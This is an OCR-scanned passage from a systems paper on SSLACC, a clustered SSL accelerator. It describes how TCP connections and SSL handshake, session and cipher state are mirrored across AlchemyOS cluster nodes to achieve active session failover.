communication between cluster nodes 1s via the net- 
work—there is no shared memory bus. AlchemyOS 
provides support for cluster maintenance, member 
join/loss detection (via periodic keepalives), and clus- 
terable TCP connections. 

An AlchemyOS cluster is simply an appropriately 
configured set of machines on the same network. All 
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machines have their external interfaces on one wire and 
their internal interfaces on another wire. Each machine 
thus has a pair of IP addresses, one internal and one 
external. The clustcr itself also has internal and external 
virtual IP and Ethernet MAC addresses. 

Communication between the cluster members takes 
place via UDP packets on port 4320. These packets 
may be unicast, multicast, or broadcast, depending on 
the situation. [ntra-cluster communication ts protected 
via a Message Authentication Code (MAC) and 
optional encryption. For added sccurity, state updates 
are performed only on the tnternal interface, which is 
assumed to be on the physically secure (black) network. 
Cluster kcepalives, however, are transmitted on both 
interfaces in order to detect connectivity failures. Each 
cluster has one distinguished node called the master. 
The master’s primary task 1s to assign workload to indi- 
vidual cluster members. 

The SSL accelerator engine is implemented as an 
application on top of the AlchemyOS kernel. For mini- 
mal memory consumption, any given node runs only 
one instance of the application with a single thread of 
control, using callbacks to service I/O and crypto- 
graphic hardware. This architecture avoids having to 
consume stack space for each active connection. 

Although AlchemyOS provides services that allow 
applications to cluster state, the applications are solely 
responsible for the contents of the clustering messages 
and sending them at the appropriate times. For instance, 
to move operation of a TCP connection to another 
member, the clustered application must first take a 
snapshot of the socket state, communicate that state to 
the other members of the cluster, and finally reinstanti- 
ate the state on the new cluster member. That state must 
be sufficient to allow the new cluster member to resume 
operation without service interruption. 


3.1 Cluster State 


It’s most helpful to think in terms of two kinds of state: 
working resources and mirrored state. If a member 1s 
handling a given TCP connection it will necessarily 
have various working resources allocated to it, such as 
sockets, memory buffers, etc. However, since any other 
member must be prepared to take over for that member 
at any time, each of the other members must possess 
milrored state—passive state sufficient to recreate the 
working resources if the mirror needs to take over. 

A primary concern ts to keep cluster updates as 
small as possible. Updatcs are transmitted over the 
same wire as the network traffic we’re processing and 
thercfore the simple strategy of multicasting the client 
data to every node in the cluster would reduce the 
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available network bandwidth by at least half, in addition 
to introducing latency. Instead we need to carefully 
send only the minimal amount of state to allow the 
other member to reproduce the original state upon 
failover. 


3.2 Work Assignment 


Each cluster member listens on the cluster IP address, 
thus each node sces every packet addressed to the clus- 
ter. However, AlchemyOS’s load balancing scheme 
involves dividing the requisite packet handling among 
the different nodes in the cluster. AlchemyOS’s IP stack 
automatically arranges to discard any packet which 
actually belongs to another member. 

When a packet arrives destined for the cluster the 
stack automatically computes a hash function on the 
{source address, source port, destination address, desti- 
nation port} 4-tuple. The function maps each packet 
into one of a small number (we use 1024) of buckets. If 
the resulting bucket is assigned to this member then the 
packet is handled. Otherwise it is discarded. Note that 
since only the address pair is used to compute the 
bucket, all packets corresponding to a given TCP con- 
nection fall into the same bucket. 

The cluster master is responsible for ensuring that 
each bucket is assigned to some cluster member. This 
means assigning buckets when they first become active, 
moving buckets to rebalance cluster load and reassign- 
ing buckets owned by a dead member. 


4 A Clustered TCP Relay 


The goal of this project was to produce a clustered SSL 
accelerator providing active session failover. As often 
happens, new communications security features require 
modifications to the underlying communications stack. 
Currently available commodity-hardware clustering 
technologies such as Windows 2000 Clustering Tech- 
nologies (Wolfpack) [17] and MOSIX [18] don’t sup- 
port active failover of TCP connections for any applica- 
tion protocol. Therefore, in order to build a clustered 
SSL relay we first had to figure out how to build a clus- 
tered TCP system. To illustrate these techniques we first 
present a somewhat simplified TCP relay. Such a relay 
is isomorphic to our SSL relay except that it simply 
copies the data between client and server without trans- 
forming it in any way. Once the basics of active session 
failover are clearly understood we can describe the real 
work of SSLACC, clustering SSL. 

This work has a number of similar features to 
Fault-Tolerant TCP (FT-TCP) [19], which was devel- 


oped independently at roughly the same time as 
SSLACC. However, there are a number of significant 
differences stemming from SSLACC’s implementation 
as a relay as opposed to a server (as in FT-TCP). This 
difference allows us to exploit the inherent fault-toler- 
ance of TCP to minimize clustering overhead 1n several 
ways that are not practical for FT-TCP. Moreover, FT- 
TCP requires that the application itself (as opposed to 
the TCP stack) be idempotent. When a failure occurs, 
FI-TCP restarts the application from scratch and 
replays all data from the client. Since SSL 1s typically 
used for e-commerce transactions, which of course have 
side effects, FI-TCP’s strategy would frequently result 
in multiple orders and billing. Theoretically, it would be 
possible to make the Web server idempotent, but this 
would require rewriting all the back-end applications, 
which isn’t feasible. 

Additionally, SSL itself is hard to make tdempo- 
tent: the server generates random numbers for each con- 
nection, so even a perfect replay of the client’s data will 
generate different data fiom the server. An FT-TCP-like 
layer replaying the client data to the SSL server will 
result in the SSL implementations on client and server 
having different ServerRandom values and thus cause 
handshake fatlures. To avoid requiring idempotence, 
SSLACC employs application-level clustering of the 
SSL traffic, which also requires a generally different 
TCP clustering strategy from FT-TCP. In the interest of 
clarity, we provide a complete description of SSLACC’s 
TCP clustering strategy here. 


4.1 The Zeroth Law of Clustering 


The most basic rule that a fully reliable clustered sys- 
tem must follow is that any peer with which it 1s com- 
municating must not be able to tell if a failover occurs. 
Whenever a node takes over a connection from another 
node, it must generate traffic which could plausibly 
have been generated by the original handler. Thus, we 
have the Zeroth Law of Clustering: all cluster nodes 
must generate the same data for any given connection. 
Note that the Zeroth Law does nor require that timing 
and TCP framing be the same, since such variability 
occurs during normal network behavior. During 
failovers it’s quite common to see delays as well as 
shrinking windows and reframing. In fact, it’s precisely 
such effects that lead to the Zeroth Law: a peer might 
receive part of a data record from one node and part 
from another. The record contents must be identical or 
decryption will fail. The requirement to obey the Zeroth 
Law is sometimes referred to as the output commit 
problem [20]. 
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4.2 Server Accept 


Figure 2 shows the TCP handshake and our first race 
condition. If a relay were to crash after sending the 
SYN/ACK, the backup relay would respond to the 
client’s ACK with an RST, as shown in Figure 2. Thts is 
the behavior observed with redundant accelerators that 
lack active session failover. 


Client Relay Backup Relay 
SYN 
SYN/ACK | 
———— 
relay fails 
: — ACK 
as “te 
i 
<i a — 


Figure 2 Failover during chent connect 


The naive solution to this problem is to cluster the 
receipt of the initial SYN, as is done in FT-TCP. How- 
ever, this requires creating state on each cluster node 
upon receipt of any SYN, thus magnifying the effect of 
SYN-flood [21] denial of service attacks. Instead we 
use a fingered ACK technique: bits 3-20 of the TCP 
sequence number are replaced with a MAC of the 
address-port 4-tuple and a secret shared among the 
nodes. The client ACK echos back this sequence nuim- 
ber, so when the client ACK segment comes tn after a 
failover we can check if the fingerprint matches the 
ACK value in the packet and if so create the socket tn 
ESTABLISHED state. This interaction is shown in Fig- 
ure 3. Dashed lines indicate messages sent between the 
mirror and either client or server after a failure. 


Client Relay Mirror 
os SYN 
: a 
Fingered SYN/ ACK 
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Figure 3 Failover with a fingered ACK 
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4.3 Client Connect 


Once the connection from the client has been accepted, 
the relay must connect to the server. In order to mini- 
mize state sharing between cluster members, both the 
client and server sides of a given connection must be 
handled by the same relay. Specifically, 1f the client and 
server sides of a connection were handled by different 
relays, it would be necessary for those nodes to forward 
all content to each other. 

If we complete the three-way handshake before 
checkpointing the socket, then if the relay crashes 
before clustering the update the connection will be left 
dangling on the server. Thus, we must cluster the state 
before transmitting the ACK to the server. The correct 
behavior ts shown in Figure 4. 


Relay Mirror Server 
a ae ws 
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SYN/ACK _ ser 
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Update 
Update ACK 
me ACK 
i. 


Figure 4 Clustered connect 


There are two interesting locations where crashes might 
occur. (1) the crash occurs before the cluster update ts 
received (2) the crash occurs after the cluster update has 
been received. Note that the case where it has been 
transmitted but not received is the same as the one 
where it hasn’t been transmitted yet. 

(1) In the case where the crash occurs before the 
update ts received, the mirror will have no knowledge 
of the socket when it comes online. If it tries to initiate 
a new connection with the server the server will 
respond with an RST because the TCP /nitial sequence 
number (ISN) will be different. In order to fix this prob- 
lem the mirror must use the same ISN as the relay did. 
To arrange this we use the same ISN as the client used. 
Thus, when the first packet of data from the client 
arrives with its fingered ACK, the accept () cycle 
will start over again cleanly as described above. (Note 
that we can derive the ISN from the sequence number 
of the first packet from the client. TCP slow start guar- 
antees us that the window will only allow one outstand- 
ing packet at this point.) Figure 5 shows the sequence of 
events. 
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Figure 5 Server connect with fingered ACK 


(2) If the crash occurs after the update is received then 
the mirror will come online with the appropriate mir- 
rored state. It will resurrect the sockets connected to the 
client and the server. When the server retransmits its 
SYN/ACK the relay will transmit the ACK tmmedi- 
ately. Since the state update has already occurred there 
is no need to do it again before transmitting the ACK to 
the server. 


4.4 The First Law of Clustering 


This example illustrates the first law of clustering: Clus- 
ter then commit. The relay must always cluster a state 
before it commits to it by sending network traffic. In the 
case of the relay connecting to the server, the relay 
needs to cluster the new ACKed state before commit- 
ting to it by transmitting the ACK to the server. Con- 
sider what happens if we transmit the ACK first, as 
shown in Figure 6. If a failure then occurs before the 
new State is clustered the node which takes over will not 
know about the new socket. Any attempt by the server 
to transmit data on the newly established connection 
will produce an RST by the mirror. 


4.5 Port number selection 


Most TCP stacks select port numbers for active opens 
using a counter. This will not do for our environment. 
Because bucket assignment depends on the port num- 
ber, this technique would often result in the relay-server 
connection falling into a different bucket from the 
client-relay connection. This would require us to 


somehow handle client-server transmission on a sepa- 
rate node from server—client transmission, which 
would be extraordinarily difficult because it would 
require splitting the TCP stack. Instead, we arrange for 
the relay-server connection to use a port carefully cho- 
sen to ensure that both connections fall into the same 
bucket. 
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Figure 6 Failure when committing before clustering 


4.6 ACK Handling 


Note that withholding the ACK until the cluster update 
has been received requires modifications to the TCP 
stack. Ordinarily the ACK pointer is incremented as 
soon as data Is received. In order to suppress ACKs we 
need to separate the ACK pointer from the rcev_nxt 
value (representing both the sequence number of next 
byte to be read and the ACK pointer). We add a new 
element in the protocol control block (PCB), 
rcv_appack. This value can be controlled by an API 
call. However, simply making this modification alone 
creates pathological behavior. When an ordinary TCP 
stack receives an in-order packet it generates an ACK 
(possibly delayed up to 200 ms by the delayed ACK 
timer). However, if we haven’t incremented the ACK 
pointer value then generating an ACK may cause the 
sender to go into congestion control mode (upon receipt 
of 3 duplicate ACKs). In order to avoid this we need to 
not just tinker with the ACK pointer but actually sup- 
press naked ACKs until the application allows them. 
This strategy resembles a combination of FI-TCP’s 
Lazy and Eager ACK strategies. 

Handling ACKs from the peer can also be tricky. 
Imagine that a relay transmits a given data segment and 
then crashes. The peer will transmit an ACK for that 
segment. If the failover happens at the wrong time the 
mirror will receive the ACK. There are two potential 
problems here. First, the ACK might arrive before the 
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socket is reinstantiated on the relay. Under normal cir- 
cumstances the mirror would generate an RST when 
receiving an ACK for an unknown connection but this 
would terminate the connection. Therefore, this sort of 
RST needs to be suppressed for twice the maximum seg- 
ment lifetime (2MSL) after a failover (or until all the 
relevant sockets have been restored). 

The second problem 1s the receipt of a forward 
ACK—an ACK which is in advance of the snd_nxt 
value (containing the sequence number of the next byte 
to be written) on the restored mirror. Ordinarily, such 
ACKs are protocol errors and are ignored but that can 
create problems here. This can happen if a relay trans- 
mits data and then crashes. Consider the case where the 
ACK is for two segments. The restored mirror’s win- 
dow may only allow one segment to be transmitted. In 
that case the system will deadlock. The mirror will 
retransmit the segment and then ignore the forward 
ACK sent by the peer. The correct behavior in this situ- 
ation is to discard application writes until snd nxt 
equals the new ACK value sent by the peer. 


4.7 Contents of State Updates 


AlchemyOS provides a TCP_ MOVABLE STATE argu- 
ment to getsockopt () which permits the program- 
mer to get a pickled version of the current TCP connec- 
tion state. The resulting state can be transmitted across 
the wire to another node where setsockopt () 1s 
used to impose it on another socket. This procedure is 
all that is required to move a quiescent socket (one 
where no data or ACKs are outstanding) from node to 
node. However because of the First Law, we will often 
want to checkpoint sockets 1n non-quiescent states— 
indeed the state we’re about to enter. In such cases the 
getsockopt() will return the old state, which then 
must be modified to contain the new state. 

In various cases (which we’ll see later in this 
paper) the application needs to manually control all four 
sequence numbers. Thus, we can specify any given 
update (containing both client-side and server-side con- 
nection states) by the 4-tuple (client_rcv_nxt, 
client_snd_nxt, server_rcv_nxt, server_snd_nxt). We 
label the initial values for each member of the tuple— 
and hence the initial sequence numbers - as: 
(ISN. ISN, 1SN,./SN,,). AS a notational convenience, 
we refer to the state at the beginning of any given trans- 
action as (S.,5,.S,.S..) or simply S. 


4.8 Data transmission 


Once the connections have been established and clus- 
tered, we’re ready to transfer data. Since the TCP relay 
is inherently symmetrical we only need to cover the 
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case where data is being written in one direction. With- 
out loss of generality we’ll illustrate client to server 
data transmission. 


Client Server 
$$ Data 
— ee — 
ACK ane ——— 
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Figure 7 Normal client to server write 


We can cluster this communication with a single cluster 
checkpoint after the server ACKs the data. Once the 
update has been ACKed the relay sends the ACK to the 
client, as shown in Figure 8. If the data is d bytes long 
the new state will be S + (d, 0,0, d). Knowing when to 
send the update requires the ability to determine when 
data has been ACKed by the peer. AlchemyOS provides 
a callback for this purpose. Note that this cluster check- 
point contains only sequence numbers, not data. 
Because we are implementing a relay, once the data has 
been acknowledged by the server we can simply discard 
it. The mirror never sees the application protocol data. 
This differs from FT-TCP where all the data transmitted 
by the client must be transmitted over the network and 
retained by the external data store. 
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Figure 8 Clustered client to server write 


Let’s examine what happens if the relay fails at various 
points in this interaction. There are five points where 
the relay may fail (numbered in italics in Figure 8). 
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1. Right after the relay has received the client data 


2. Right after the server has received the client data 
but before the server has sent the ACK 


Right after the relay has received the server ACK 


4. Right after the relay has sent a cluster update to the 
mirrors but before this update has been ACKed 


5. Right after the relay has received the ACK for the 
cluster update but before the relay has sent the 
ACK to the client 


We’ll take each of these cases in sequence: 


(1) This case ts indistinguishable from the situation in 
which the packet was lost on the wire. When the mirror 
comes online it ts still in state S. The client retransmits 
the data and the mirror handles it as if tt were being sent 
for the first time, as shown in Figure 9. 
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Figure 9 Failure atter first data write 


(2,3) From the client’s perspective, cases (2) and (3) 
behave identically. We show case (2) in Figure 10. 
Since we still haven’t hit the cluster checkpoint the 
client-relay interaction 1s the same as before; the client 
retransmits and the relay writes the data to the server. 
To the server, this merely looks like a retransmit, which 
might happen under normal circumstances if the 
servers ACK were lost. Case (3) ts identical except that 
there is an ACK from the server. 


(4,5) Finally, consider what happens if the relay fails 
after clustering the state. This can happen before the 
relay receives the update ACK (4) or after (5). The 
effect is the same. The simplest possibility, as shown tn 
Figure !1 1s that the client retransmits the data. How- 
ever, this time the mirror’s TCP state already has its 
ACK pointer at S_ +d and so it drops the client data on 
the floor and sends an immediate ACK for S,, + d bytes. 
Although this interaction works fine, it forces us to wait 
for the 500 ms TCP retransmit timer. In order to reduce 
latency a better approach ts for the mirror to send a sin- 
gle ACK when it takes over the connection. 
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Figure 10 Vailure after first write to server 
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Figure @f Failure after cluster update 


There is acommon error that people make—indeed that 
we made-—-when they attempt to cluster this interaction. 
In an effort to reduce the latency introduced by the clus- 
ter update, it initially seems reasonable to interleave the 
cluster update and the data write, as shown in Figure 
12; 
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Figure 12 An incorrectly clustered client to server write 
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The problem with this interaction becomes apparent if 
you consider the possibility that the relay’s transmission 
to the server gets dropped for some reason. If the relay 
fails after the cluster update has succeeded then the 
relay will have state S+(d,0,0,d) but the server will 
have state S. At the best this will create deadlock and at 


_ the worst an ACK storm when the server sends dupli- 
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cate ACKs to correct the relay’s sequence number. 

There are a number of subtle points worth consid- 
ering before we leave the issue of data transmission. (1) 
TCP ACKs from the server are not | to | with reads 
from the client. Thus, it’s necessary to keep track of the 
amount of data being ACKed, not just the fact that an 
ACK occurred, in order to know how much data to 
ACK to the client. (2) It’s tempting to treat each ACK 
as if it is relative to the current ACK pointer state and 
therefore cluster the current ACK pointer plus the 
ACKed data. However, since the ACK pointer in the 
TCP state can only be incremented after an update is 
ACKed there is a race condition here as well. Consider 
the sequence of events shown in Figure 13 and 
described below. 
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Figure 13 An ACK race condition 


Receive Data ACK | from server for d bytes. 
Cluster update | for S + d bytes 
Recetve Data ACK 2 from server for e bytes. 


Cluster update 2 for S + e bytes 


nA B® WN > 


Receive ACK for update |. Increment ACK pointer 
by dtoS+d. 

6. Receive ACK for update 2. Increment ACK pointer 
byetoS+dte. 


Once the updates are ACKed the actual ACK pointer 
will have been incremented by d +e bytes but the mir- 
rors will have incremented it only by e bytes, because 
the second cluster update was sent without taking into 
account the first write of d bytes. This happened 
because the first update had not yet been ACKed before 


oe — —= EEE 
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the second update was transmitted. If the ACK for 
Update | were received before Data ACK 1, then the 
result would be correct. In order to avoid this race con- 
dition it is best to work in absolute sequence numbers 
and maintain the value of the last clustered sequence 
number as well as the current sequence number. Thus, 
in step 4 we would cluster the update for S+d+e 
bytes. 

Another subtle aspect of clustering application data 
pertains to partial ACKs from the server. Consider what 
happens if the client transmits x bytes and the server 
ACKs y <x bytes. When the relay clusters the ACK, 
rcv_nxt,, >rcv_appack, with the difference being 
x—y. If a failover occurs after this update, the client 
will retransmit starting from rcv_appack ,,. Since we do 
not cluster buffered data, the mirror needs to be able to 
read this transmission. Accordingly, when we perform 
cluster updates we set rcv_nxt =rcv_appack in the 
update, allowing the mirror to process the retransmitted 
data. 
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Figure 14 Data transmission state machine 


Although we have presented the sequence of events in a 
linear fashion, it’s important to remember that in prac- 
tice, data transmission, cluster updates and ACK han- 
dling happen in parallel, and the relay needs to be able 
to handle all three kinds of events at once. Figure 14 
shows the state machines for the active relay and the 
mirror. The top half of the figure shows the relay state 
machine and the bottom half the mirror state machine. 
Solid lines indicate state transitions and their associated 
messages and italics indicate messages between relay 
and mirror. The basic state transition path for the active 
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relay is from RELAY WAIT through DATA _RCVD 
when the relay reads data and sends it to the peer; then 
DATA ACKED when that transmission is ACKed and 
the ACK is clustered; then through UPDATE _ACKED 
when the update itself is ACKed and the relay finally 
ACKs the original data transmission to the client. 

Each node only has one state in which tt waits for 
network data (RELAY WAIT on the relay and MIR- 
ROR_WAIT on the mirror). In every other state, the 
node simply transmits data and then returns to the read 
state. This allows the relay to process events of one type 
while waiting for events of another type, thus creating 
implicit wait states that are not shown in Figure 14. For 
instance, the relay might simultaneously be waiting for 
an ACK for one data packet and an ACK for a cluster 
update. This parallelism allows TCP to operate cor- 
rectly in the face of clustering by continuing to allow 
data to flow even when previous segments are un- 
ACKed. Note, however, that the requirement to cluster 
update data ACKs before they are propagated to the 
sender gives rise to a new form of deadlock: if a mirror 
stops responding to cluster updates, the sender will 
eventually fill the entire TCP window and stop transmit- 
ting. This fact makes ACKing cluster updates a critical 
operating system function. A node which fails entirely 
does not bring down the cluster but one which appears 
to be functioning but does not ACK updates will dead- 
lock every connection tn the cluster. 


4.9 The Second Law of Clustering 


We now have our basic technique for reducing cluster 
update size. Rather than cluster the data itself we force 
the client to buffer it for us by withholding the ACK 
until the data has been acknowledged by the server. 
Failovers therefore result in TCP retransmits. In 
essence, device failures look like intermittent network 
lossage of the kind that TCP is already designed to be 
robust in the face of. Thus, it’s safe to transmit the data 
to the server without clustering it, since the client will 
retransmit in the case of failure. This illustrates the Sec- 
ond Law of Clustering: /t's safe to transmit unclustered 
data as long as you can reproduce it. 


4.10 Closure 


Consider the sequence of events required to close a con- 
nection. For reference, we show the ordinary TCP close 
sequence in Figure 15. Note that although TCP allows a 
half-close where one side sends the FIN and the other 
side transmits data, SSL forbids half-close and so we 
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decided to omit it from our TCP clustering implementa- 
tion. 
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Figure 15 TCP close 


The closure sequence has to accomplish two things: 
1. Destroy the relay state on the mirrors 
2. Close the connections on the relay 


The simplest sequence that will accomplish this result ts 
shown tn Figure 16 (with the client and server FINs 
omitted for clarity). The relay sends an update indicat- 
ing that 1t’s about to close. Once that update has been 
ACKed the relay calls shutdown () on both sockets. 
Once the FINs have been ACKed the relay calls 
close () . This approach works reasonably well but 1s 
not ideal. One small problem is that if the relay han- 
dling the connection leaves the cluster or the bucket is 
reassigned before a peer FIN is received, the socket can 
get stuck in FIN WAIT 2 until the FIN WAIT 2 
timer expires. To prevent this we tum on TCP 
keepalives with a timer of 1 minute before we call 
close(). When the keepalive timer fires and no 
response is received the socket is automatically dis- 
carded. 
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Figure 16 A clustered close 
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Another problem is that a failover after shutdown () 
has been called but before the TCP closure handshake 
has been completed results in RSTs when a peer sends 
its ACKs; since the mirrored state has been removed 
from the mirror, the mirror has no knowledge of the 
connection and simply sends an RST. Fixing this prob- 
lem requires more cluster updates to indicate the initia- 
tion of the close and to indicate the success of the close. 
We judged that the performance consequences were not 
worth the modest improvement in TCP friendliness for 
what we considered an unlikely condition. 


5  AClustered SSL Relay 


Clustering SSL encompasses roughly the same set of 
tasks as clustering TCP but is complicated by a number 
of factors: 


* We first need to perform the SSL handshake. The 
handshake involves interaction with the client only 
but it all needs to be clustered. 

¢ SSL data is structured in a record format whereas 
the data we were pushing over TCP 1s essentially 
freeform. This creates difficulty both sending and 
receiving. 

* We need to cluster cryptographic keying material 
both on a global and a per-connection basis. 


* The SSL session cache must be shared across the 
entire cluster. 


« SSL has its own closure sequence on top of TCP. 


5.1 Clustering the SSL Handshake 


We assume that the reader 1s familiar with the SSL 
handshake. For reference, Figure 17 shows the basic 
SSL handshake, using static RSA. 
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Figure 17 The SSL handshake 
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As Figure |7 shows, the first message we process 1s the 
ClientHello. The most obvious approach 1s to cluster the 
contents of the ClientHello and then ACK it to the 
chent. This has two drawbacks: (1) Efficiency. We don’t 
need to cluster the entire ClientHello, which contains all 
the ciphersuites that the client is willing to speak. We 
only need to cluster the ciphersuite that we’ve in fact 
chosen. (2) We’d have to introduce a second checkpoint 
for the ServerHello: the ServerHello contains a random 
value generated by the server. If the relay fails after 
sending the ServerHello then the mirror must be able to 
reproduce the ServerHello, including generating the 
same random numbers. One way to deal with this 
would be to synchronize the random number generators 
on all nodes but this is a difficult task. A_ better 
approach Is to cluster a "pre-ServerHello" state. This 
state contains: 


* client and server random values 

* chosen cipher suite 

Additionally, every handshake update contains 

* the new TCP state 

* the current value of the SSL handshakc hashes 


* the handshake state to enter upon failover. For the 
case where we have just read the ClientHello, this 1s 
"send ServerHello" 


If a failover occurs when the mirror has received the 
pre-ServerHello update, it will generate a new Server- 
Hello using the clustered random value and containing 
an ACK for the ClientHello. 

In order to reduce the latency inherent in this oper- 
ation we transmit the state update before we generate 
the messages (thus parallelizing the clustering latency 
and message generation). However, we can’t actually 
transmit the messages until the update 1s ACKed 
because this would violate the First Law---we need to 
make sure that the random data in the ServerHello is 
clustered before we commit to it by transmitting the 
ServerHello to the client. We simply queue the mes- 
sages and empty the queue when we receive the ACK. 
This isn’t that important an optimization under normal 
circumstances since generating the messages is much 
faster than the cluster update round trip time so the RTT 
dominates the interaction. However, if we’re using 
ephemeral RSA (which ts only used in the increasingly 
uncommon export case) the time to generate the 
ServerKeyExchange Is significant and therefore we get 
substantial parallelization. 

Figure 18 shows the interaction in the case of static 
RSA. Because of TCP delayed ACKs the ACK of the 
ClientHello will typically appear on the first data seg- 
ment (and of course on every subsequent data segment) 
rather than bare on the wire. Note that the number of 
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TCP segments used to transmit the records depends on 
the amount of buffering and whether the Nagle [22] 
algorithm is on, but this is irrelevant to the clustering 


logic. 
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Figure t8 Clustering the Chentllello 


Once the client receives the ServerHelloDone it sends 
the ClientkKeyExchange followed by the ChangeCipher- 
Spec and Finished. Optimally we’d like to wait for the 
Finished and ACK all three messages together. Unfortu- 
nately this creates problems if the client writes each 
message to the network separately. In that case the write 
of the ChangeCipherSpec will be blocked by the Nagle 
Algorithm until the ClientkKeyExchange is ACKed. If all 
three messages fit into one TCP segment then the next 
two messages will be sent when the retransmit timer 
fires in 500 ms. If the messages don’t fit, the transaction 
may be deadlocked while the client sits 1n congestion 
control mode waiting for the server’s ACK. 

This forces us into an approach where we individu- 
ally ACK each message. The First Law requires that we 
first cluster them. Thus, the logic becomes that shown 
in Figure 19, 
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Figure 19 Clustered ClientKeyExchange. etc. 
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The first update contains the encrypted PreMaster 
secret. This reduces latency by allowing the relay to 
decrypt the PreMaster secret while waiting for the clus- 
ter update to complete. The second update contains the 
master secret and the pending cipher states in both 
directions. The third update contains the new read 
cipher state after having read the Finished message. 

This logic creates quite a bit of cluster traffic and 
it’s fairly likely that the client will send all three mes- 
sages In one segment. One could detect the case where 
all three messages are present and if so issue one cluster 
update instead of three but we have not benchmarked 
this optimization. 

Finally, the relay sends its own ChangeCipherSpec 
and Finished messages. When the server’s Finished 
message 1s ACKed the handshake ts over and the relay 
clusters the entry into the data state. This message also 
contains the new write cipher state after having written 
the Finished. Once that update is ACKed the relay 
enters the data state, as shown in Figure 20. 
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Figure 20 Clustered Finished 


5.2 Resumed Handshakes 


SSL includes a session resumption feature that allows 
the client and server to skip the RSA key exchange step. 
This is less important in the face of RSA acceleration 
on the server side but is still of considerable value. 
However, with a clustered system there 1s no guarantee 
that the same relay will handle the client when it recon- 
nects again. Thus, we need to cluster the session cache. 

Clustering the session cache 1s actually quite sim- 
ple. When a mirror receives the cluster update indicat- 
ing the end of the handshake it inserts the session infor- 
mation (derived from the cluster updates received thus 
far) into the local session cache. As is common prac- 
tice, this is implemented as a hash table. When a client 
requests resumption, the relay handling that connection 
(including one which was a mirror for the original con- 
nection) can just consult its own hash table. 
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Clustering the session resumption handshake fol- 
lows essentially the same pattern as the ordinary hand- 
shake. The most notable difference is that the steps for 
clustering the transmission and receipt of Finished are 
switched, as shown in Figure 21. Note that the last two 
cluster updates could be collapsed into one but this is 
not done in the current implementation. 
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Figure 21 Clustering the resumed handshake 


5.3 Connect to Server 


After the client connects, two processes occur in paral- 
lel: the SSL handshake and the connect to the server. 
Either process may finish before the other. Only once 
both are completed do we enter the data state and pre- 
pare to read data from the client. However, because we 
need to checkpotnt the SSL handshake state, some 
checkpoints may occur before the server connection has 
completed. This possibility, that there might be cluster 
checkpoints where only the client socket is valid, did 
not exist in the simple TCP case we discussed earlier. 

Luckily, dealing with this case is relatively easy. 
When a failover occurs in such a state the relay simply 
restarts the appropriate connect call. As in section 4.3, 
we need to make our TCP ISN deterministic to avoid 
getting RSTs during the connect. 

Unfortunately, since the SSL handshake is happen- 
ing 1n parallel with the connect to the server we can no 
longer determine the client’s choice of ISN from client 
retransmissions. The first message we receive after 
failover might not be the ClientHello, in which case it 
would have a sequence number that did not match the 
client’s ISN. Thus we need to include the client’s ISN 
in the first cluster checkpoint. This requirement means 


that we cannot begin to connect to the server until after 
the first cluster checkpoint of the SSL handshake. This 
ensures that the mirror will have the client’s ISN if it 
needs to reissue the connect () call. The relationship 
of the SSL handshake to the connect handshake is 
shown tn Figure 22. 
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Figure 22 Parallel chent and server handshakes 


5.4 Cipher States 


In order to encrypt or decrypt an SSL record the follow- 
ing pieces of state are required: 


* the sequence number 
* the encryption state 
* the MAC key 


Of these, only the encryption state and the sequence 
number vary during an SSL connection. Clustering the 
sequence number is straightforward but the encryption 
state is less obvious: when the cipher is DES, 3DES, or 
AES, we need to cluster only the key and the current 
CBC residue. With RC4 we have two options: cluster 
the current key schedule or cluster the key and an offset 
into the stream. The second option is more compact but 
can be excessively slow if failover occurs during a long 
transfer, requiring the mitror to generate and discard 
megabytes of keystream. 

The compromise option used by SSLACC is to 
cluster the base state (the entire key schedule) every 
megabyte or so and in between transmit deltas. This 
actually presents an interesting implementation issue. 
The natural approach would be that the deltas each con- 
tain the number of bytes processed since the last base 
update. However, when a number of records are ACKed 
at once we only cluster the final record to reduce band- 
width consumption. This presents the possibility that 
one of the updates we skip might be a base update. In 
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this case we would advance the stream from the wrong 
base update and thus be encrypting using too early a 
section of keystream. To avoid this problem the deltas 
actually contain the offset fiom the beginning of the 
keystream. Thus, when we attempt to reconstitute the 
keystream we start from the last base update we receive 
(which also includes its position in the keystream) and 
then advance the keystream to the point indicated by the 
delta. 


5.5 Client to Server Data Transmission 


Clustering SSL client to server data transmission 1s 
analogous to clustering TCP communication but rather 
more complicated. The message diagram, shown in Fig- 
ure 23, is essentially the samc. The additional complica- 
tion is introduced by the nced to cluster the cipher state 
and the need to handle one record at a time. With TCP 
we could simply increment our own notion of how 
many bytes to ACK each time we saw an ACK. With 
SSL we can only generate updates whenever a full 
record is ACKced because only at that point can the con- 
nection state be simply summarized. Decrypted records 
cannot be transmitted until their MACs have been 
checked, which can only be done onc record at a time. 
Without this restriction, an active attacker could inject a 
forged partial record which SSLACC would forward 
without performing an integrity check. Thus, check- 
pointing at any other location than a record boundary 
would require clustering the plaintext as well as the 
cipher state. To make things more complicated, the size 
of the SSL record is generally not the same as the size 
of the plaintext data. The addition of the headers, 
padding, and MAC increases the size of the plaintext 
data. Compression would reduce the size of the plain- 
text data but is gencrally unimplemented. As a result, 
the sizes would only match by accident and the number 
of bytes to ACK to the client will be different (generally 
greater) than the number of bytes that were ACKed by 
the server. 


In order to map server ACKs to record state, SSLACC 
maintains a queue of the Iength and states for all 
records for which the plaintext has been written to the 
server but not yet ACKed. Whenever more data is 
ACKed by the server we move the ACK pointer for- 
ward in this queue the appropriate number of bytes. 
When a full record has been ACKed we remove it from 
the queue, cluster the new state, and ACK the clicnt’s 
data. Because multiple records might be decrypted 
before any of them are ACKed, each record in the 
queue has its associated cipher state attached to it at the 
time it is decrypted. Thus, when a record is ACKed the 
cipher state we cluster 1s the once attached to the record. 
If multiple records are ACKed by a given server ACK 
we simply cluster the state associated with the last one. 

If a failover occurs, the mirror simply installs its 
mirrored TCP state and the appropriate cryptographic 
state and picks up fiom there. 


Partial ACKs 


SSL records can be up to 32K bytes long (the standard 
fixes them at 16K but some implementations violate 
this rulc). This introduces a problem since it is quite 
possible that a record will be too large to fit in a single 
TCP segment. If the record is especially large or the 
connection is still in slow start, it’s quite likely that the 
effective window will be too small to carry the entire 
record. This produces the possibility of deadlock. The 
relay cannot ACK any data until the entire record has 
been read but the client cannot transmit any more of the 
record until it receives an ACK. 

The only way out is for the relay to ACK the data 
read so far. In order to do so it must first cluster that 
data. This is one of the few cases in which we actually 
cluster data rather than state, and since it’s expensive to 
do, we do so only when necessary. SSLACC maintains 
an estimator of the packet interarrival time (IAT). When 
a partial record is read, we set a timer for 2*IAT. If that 
timer fires before the rest of the record is read, we clus- 
ter the partially read record and then ACK that section 
of data. [f a failover occurs during this period the mirror 
